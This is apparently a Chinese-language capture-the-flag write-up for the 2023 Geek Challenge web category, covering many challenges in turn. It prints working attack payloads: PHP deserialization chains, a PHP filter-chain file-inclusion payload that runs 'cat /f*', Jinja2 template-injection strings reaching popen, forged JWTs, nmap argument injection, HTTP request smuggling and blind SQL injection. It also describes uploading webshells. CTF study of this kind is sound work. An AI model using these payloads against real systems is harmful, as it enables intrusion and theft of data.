2023第十四届极客大挑战 — WEB WP

说明:由于是从docx直接导入,因此鉴于docx的识别,文章有些图片里面有红色下划线,但不影响!

属实懒了!直接导入了。。。哈哈。凑合看吧!实在太多了。。。。

EzHttp

Post传参

查看源码

访问robots.txt

访问这个目录

得到用户名和密码所对的值

进行post传参

添加referer

添加ua

添加本地访问

添加代理,抓包

添加参数

unsign

简单反序列化

exp:

n00b_Upload

随便传个文件发现,只能传图片

然后上传图片马 ,发现有对后缀 文件头 文件内容检测

然后对后缀 文件头 文件内容进行绕过

上传成功连接蚁剑获得 flag

easy_php

PHP特性题 源码如下

进行代码审计,可以发现这里其实就是层层递进,主要考点是php特性绕过,绕过第一层

第二层绕过

第三层

qw=%25PDF- 1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%

200%20R

/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/  Length%

208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-

1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC

%91f%B6

%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3

%A9%09% 01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98

%BBU.%F

5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%

2Cv%21V

%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&yxx=%25PDF- 1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%

200%20R

/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/  Length%

208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-

1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%  DC%93%A 6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1  i%09%01

%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.% F5%BC%9

4%2B%E35B%A4%80-

%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0% BF%3F%9

8%CD%A8%04F%29%A1

最后一层,传参即可

ctf_curl

源码如下

这题主要考了Curl命令的一个外带参数

-T 可以上传文件 尝试向自己的vps写文件

payload

klf_ssti

无回显外带SSTI

payload如下

ez_remove

攻击流程, 构造如下exp

这里第一个需要构造 array($a, 0); 进行回收,第二个构造 S 进制转换绕过正则,最终利用glob协

议进行读取文件绕过 disable_functions

ez_path

在发表文章输入这个

Content随便输入

保存返回首页再看就看见flag

you konw flask?

flask伪造爆破

有点坑的这题,需要去爆破 secret_key

访问 robots.txt 提示访问 /3ysd8.html , 获取如下信息

这里写个脚本进行生成字典 key.py

下面注册一个测试账号 aaa , 发现JWT进行伪造 (flask-unsign)

伪造利用

将伪造的jwt进行覆盖 , 访问 /houtai成功获取flag

Pupyy_rce

构造payload如下, 多发几次包 随机数成功获取flag

源码如下

考点:

// app.all('/hint', (req, res) => {
//	res.type('html');
//	res.send("I heard that the challenge maker likes to use his own id as secret_key");
//
//	});
app.get('/source', (req, res) => {	
//	res.type('html');	
//	var auth = req.cookies.auth;	
//
//	jwt.verify(auth, jwt_secret , function(err, decoded) {
try{	
//
//
//	if(decoded.user==='admin'){
res.sendFile(path.join(  dirname + '/index.js'));
}else{	
//	res.send('you are not admin <!--Maybe you can view	/hint--
>');
//		

}
//	}	
//
//		catch{
res.send("Fuck you Hacker!!!")
//	}	
//	});
//	});
app.all('/create', (req, res) => { res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null)
{
res.send("please input name");
}else {
if (Super['userrole'] === 'Superadmin') { res.render('index', req.body);
}else {
if (!safecode(req.body.name)) { res.send("你在做什么?快停下!!!")


}
});

}
else{
    res.render('index', {name: req.body.name});
}
}

app.get('/',(req, res) => 
        { res.type('html');
        var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' }); 
        res.cookie('auth ',token);
        res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));

这里我们分析利用链子,发现可以污染 code 路由 , 构造payload

 

污染成功后 , 利用一个 EJS模板注入Payload

成功 RCE

famale_imp_l0ve

 

分析源代码,发现一处提示信息 /include.php

源码如下

考点是伪协议 zip:// 截断绕过文件包含

首先进行上传构造 php.zip, 里面写入一张图片 图片马内容如下

 

构造payload进行zip协议包含

读取flag

EzRce

试了几个函数 都ban了

思考是否是无字母数字 输入几个字符测了一下发现确实是 且ban了 + 不能自增,考虑 取反 结果也ban了

考虑异或

成功 phpinfo查看disable_funcitons

 

先写个shell方便操作

想用蚁剑连上 试试能否一键绕disable_function 发现连不上 不知道为什么

那先确定flag位置 尝试scandir 发现不能路径穿越,那就

尝试绕openbasedir来读flag 失败

那找找rce的方法

在一通尝试后发现proc_open()可用

发现flag是root可读

想办法提权

查一手suid

 

有find 那么结束

ez_php

先读key.php

这里php版本为7.4 过高 不能用+绕

考虑实现了serializable接口的类序列化后得到的是C开头的字符串

用低版本跑脚本 不然还是O 我不知道怎么回事

来进行绕过 然后 and 的优先级低于&& 可以不管

 

通过PHP_SELF来读key.php

解码得到一张图

得到key是9

her name是momo

于是payload如下

gadget为Me::wakeup => her::invoke => important::sleep => useless::get => her::find

 

?

user=C%3A13%3A%22ArrayIterator%22%3A374%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3

A4%3A%22evil%

22%3BO%3A2%3A%22Me%22%3A3%3A%7Bs%3A3%3A%22qwe%22%3BO%3A3%3A%22her

%22%3A3%3A%7Bs%3A12

%3A%22%00her%00hername%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22%00her%00ke y%22%3Bs%3A0%3A%2

2%22%3Bs%3A3%3A%22asd%22%3BO%3A9%3A%22important%22%3A1%3A%7Bs%3A5%3 A%22power%22%3BO%

3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%22%00useless%00seeyou%22%3Ba%3A 1%3A%7Bs%3A6%3

A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A1 2%3A%22%00her%00h

ername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bi%3A9

%3Bs%3A3%3A%22asd

%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22% 3BN%3Bs%3A3%3A%22YX

X%22%3BN%3B%7D%7D%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3 BR%3A19%3B%7D%7D%3

Bm%3Aa%3A0%3A%7B%7D%7D

 

然后一个伪协议

&file=data://text/plain;base64,bG92ZXlvdQ%3D%3D

再利用原生类读就行了

base64解密

klf_2

ban了很多 也懒得fuzz了

通过 {%set %} 来构造字符串

常规的几个

 

构造空格

通过()一路调到popen执行命令

ls完发现存在hahahaha文件

构造hahahaha字符串去读

 

读haha

发现不是flag 那么应该在根目录

想办法构造 ;和. 或者 / 进行目录穿越

构造的/如下

 

读 根目录 没有flag

读/app

读取

scan_tool

给了个nmap的功能 随便打个字符看一下

发现被单引号包裹尝试逃逸

escapeshellcmd和escapeshellarg连用

通过 ' shellcode ' 绕过,尝试用 -iL 读文件 ,提示危险参数 ,尝试使用 $'' ban了

fuzz得到可用的符号表为 !"#%'()+,-./:;<>[]^_`{}~

那么写马也不行了 ,考虑到--excludefile也能读文件

在-oX -o -N 都ban了的情况下

尝试使用-oA 来写出 ,我们传参 ' --excludefile /flag -oA res '

然后读res.xml或res.nmap

change_it

开局一个登录口,查看源代码发现用户密码 user/user

 

直接登录,源代码发现一处需要伪造的值

进去后,没有上传图片的权限,看到了cookie

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4

用jwt.io看看

需要改name为admin,并且admin字段改为true,但是没有秘钥,需要用

Jwtcrack爆破

他这一步是做了一个爆破,也可以用自带字典这里可以用flask-unsign 自己生一个字典

参考文章:https://blog.csdn.net/m0_66574109/article/details/129621900

 

得到秘钥是yibao

那么再改下session

 

得到

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6ImFkbWluIiwiYWRtaW4iOiJ0cnVlIn0.qs6tjnaghMXiTsvqEMUauz_JGzxxKdtaXPGVtQUEHek

换成上面的session cookie就可以上传图片了

再看看右键源码

意思是根据当前的时间戳作为种子,生成随机文件名,我们bp抓包,传一句话文件,然后服务器侧拿到了时间

 

Wed, 15 Nov 2023 03:01:24 GMT 匹配对应的时间戳

网站如下:https://www.sjczhq.com/ 得到值1700017284

 

分析源代码,然后这个时间戳就是种子,根据他源码生成文件名

利用上述得到的时间戳,爆破得到seed,代码如下

 

文件名是31WiWo8ZBq,访问刚才上传的一句话木马,路径/upload/31WiWo8ZBq.php

 

成功读取flag

ezrfi

先传/var/hint,读取hint.py,得到源码

base64解码

尊嘟假嘟解密

后来提示是rc4解密 密钥从题目得知是Syclover

rc4解密

hex解密

通用文件包含

?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-

1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver

t.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co

nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-

16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-

decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co

nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-

16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|conver

t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-

16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-

decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co

nvert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-

16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-

decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR

|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-

932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-

decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-

16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-

932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-

decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-

decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-

decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-

156.JOHAB|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver

t.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co

nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-

encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-

932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-

decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-

decode/resource=php://temp&0=cat%20/f*

最后flag为SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

ezpython

首先下载附件进行分析,源码如下

构造原型化污染,对/register接口进行操作

思路:污染 isVip 为 True,这里采取编码绕过

/register

{"username":"aa","password":"aa","__class__":{"__base__":{"\u0069\u0073\u007

6\u0069\u0070": true}}}

访问/login, 利用aa用户登录进到后台

最后构造绕过 /flag?num=123456789%0a 获取flag

ez_sql

遇到输入框首先考虑sql注入,主要题目也给提示了

首先输入id=1‘ 单引号闭合试试

再试一试id=1

显示正常

id=1’ --+

显示被waf拦截

fuzz测试

过滤了or = database() information_schema,这里都有分别的替代的字符去绕过

联合注入查询肯定不行

只能考虑盲注

在MySQL中,BINARY是一个用于比较和排序二进制字符串的函数。它将字符串转换为二进制格式,然

后进行比较。

BINARY函数可以应用于列或表达式,它将字符串转换为二进制,然后按照二进制值进行比较。这使得可

以使用BINARY函数在比较中区分大小写。

爆库

'1') and (select (select schema() limit 1,1) like binary '{}%')#'

运行得到数据库名 articles

爆表

运行得到数据库表名 ctf

爆字段

 

运行得到字段 flll444aaggg9

最后爆破flag

最后获得flag SYC{73hd72hfds68r42yuf874r79v8sd43u89f}

EZ_Smuggling

参考文章

https://zhuanlan.zhihu.com/p/450929527

先注册一个账号

用户名:yiqing

密码:123456

登录界面

抓包

repeater

GET / HTTP/2

Host: 47.108.56.168:20231

Cookie:

session=MTcwMDc5MTI3M3xvdTlROFN2UHR6YVFsbTRfVnMzdzVVcDFNRXQwQmpEMjNfWmxaMV

lkcS1pSUpqaXZfZUsxUmZLSzE4UXJxdVZtNE9KYkNZUjc1S3BkQ2hsQ05vVXQyMWFwdXRXUXJzbnB8

JoGztCN8F-YWL4wcxvUdCbPyMpH6xf8mXg-BU-rvrRQ=Cache-Control: max-age=0

Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"

Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "Windows"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/119.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.

8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://47.108.56.168:20231/login

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Content-Length: 0

GET /admin HTTP/1.1

Host: 47.108.56.168:20231

Cookie:

session=MTcwMDc5MTI3M3xvdTlROFN2UHR6YVFsbTRfVnMzdzVVcDFNRXQwQmpEMjNfWmxaMV

lkcS1pSUpqaXZfZUsxUmZLSzE4UXJxdVZtNE9KYkNZUjc1S3BkQ2hsQ05vVXQyMWFwdXRXUXJzbnB8

JoGztCN8F-YWL4wcxvUdCbPyMpH6xf8mXg-BU-rvrRQ=

Content-Length: 1

1

切换渲染模式查看flag

最后flag为SYC{http2_5muggl1ng_15_1nt3r3st1ng}

klf_3

不知道为什么用klf2的payload也能出flag ,哈哈,白送了。

https://pvrgvijn48hum2z5nw5mnem3j.node.game.sycsec.com/secr3ttt?klf={%set

po=dict(po=a,p=a)|join%}{%set a=(()|select|string|list)|attr(po)(24)%}{%set

glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{%set cls=

(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=

(a,a,dict(bas=a,e=b)|join(),a,a)|join()%}{% set subc=

(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{% set geti=

(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{% set ini=

(a,a,dict(in=a,it=b)|join,a,a)|join()%}{%set pp=dict(po=a,pen=b)|join %}{%set ls=

(dict(ls=a))|join()%}{%set ap=dict(ap=a,p=b)|join%}{%set rd=

(dict(re=a,ad=b))|join()%}{%set po=dict(po=a,p=a)|join%}{%set fg=

(dict(fl4=a,gfl4gfl4g=b))|join()%}{%set ct=(dict(ca=a,t=b))|join()%}{%set bk=

(lipsum|string|list|attr(po)(9))%}{%set t=(()|attr(cls)|attr(bs)|attr(subc)

()|attr(geti)(117)|attr(ini)|attr(glo)|string|list|attr(po)(463))%}{%set ctfg=

(ct,bk,t,ap,t,fg)|join()%}{%set ls=(dict(ls=a))|join()%}{%set en=

(dict(e=a,nv=b))|join()%}{%set lss=(ls,bk,t)|join()%}{%set lsss=

(ls,bk,t,ap)|join()%}{{()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)

(117)|attr(ini)|attr(glo)|attr(geti)(pp)(ctfg)|attr(rd)()}}

Akane!

链子很简单没什么可说的

这里的功能点只有一个

判断文件是否存在 若存在返回Kurokawa Akane

而我们知道scandir中是可以使用glob:协议的

我们可以利用通配符来盲注

那么现在的问题就是绕__wakeup

题目环境php版本为7.3.22

比较高

尝试了C开头的序列化字符串也没能绕过

最后利用反序列化字符串报错绕过

在原串最后添加;N;

php脚本如下

得到的b64用python的库转回序列化字符串

python会保留\x00

盲注脚本如下

运行获得flag目录位置

访问目录获得flag

java(比赛未出,目前已复现)

浅谈:呜呜呜。。。亏死了,真的没想到这个Java反序列化这么简单,放在最后一个以为是压轴看都没看。。。

哎!不说了,简单讲讲吧

题目描述:不一样的Java反序列化,想办法读取到admin的真正secret吧(java的String.split好像有点特殊)

我的解答:

首先我们可以用IJ打开题目附件,看了一下关键代码就两处。如下:

home.java

首先我们找到登录用户名和密码进行登录。这点应该都容易找到。登录之后就是这样一个界面

然后我们继续往下看发现姓名,性别,年龄可以修改的(需要我们手动输入),也就是上面登录界面的三个输入框。

看到这里就知道肯定是输入什么信息,然后点击保存进行更新就会反馈flag。

所以我们需要找到输入点。输入点应该在user.java

来看user.java,结合题目提示java的String.split好像有点特殊可以发现考了split特性

String.split()的参数是分隔符,而题目中的分隔符是O.o

在Java的正则匹配的模式中O.o里的这个.(点)会被匹配成任意字符。

由于数据可改,而且提交的是使用O.o分割的三个数据

因此我们只需要把 .(点)换成任意字母就行,其他的正常输入数据。需要注意性别那里要用字符串。

在分隔符代码那里我们可以看到加密的文件目录,因此猜测是flag

然后我们构造输入结果:

Ovomumu666Ovo1Ovo21Ovo/tmp/flagOvo

输入到姓名那里即可,然后点击保存,系统会自动序列化。就能得到flag了。

 

热门相关:我的女友   深情触摸   惊世第一妃   婚期一年   傲娇驾到,总裁别闹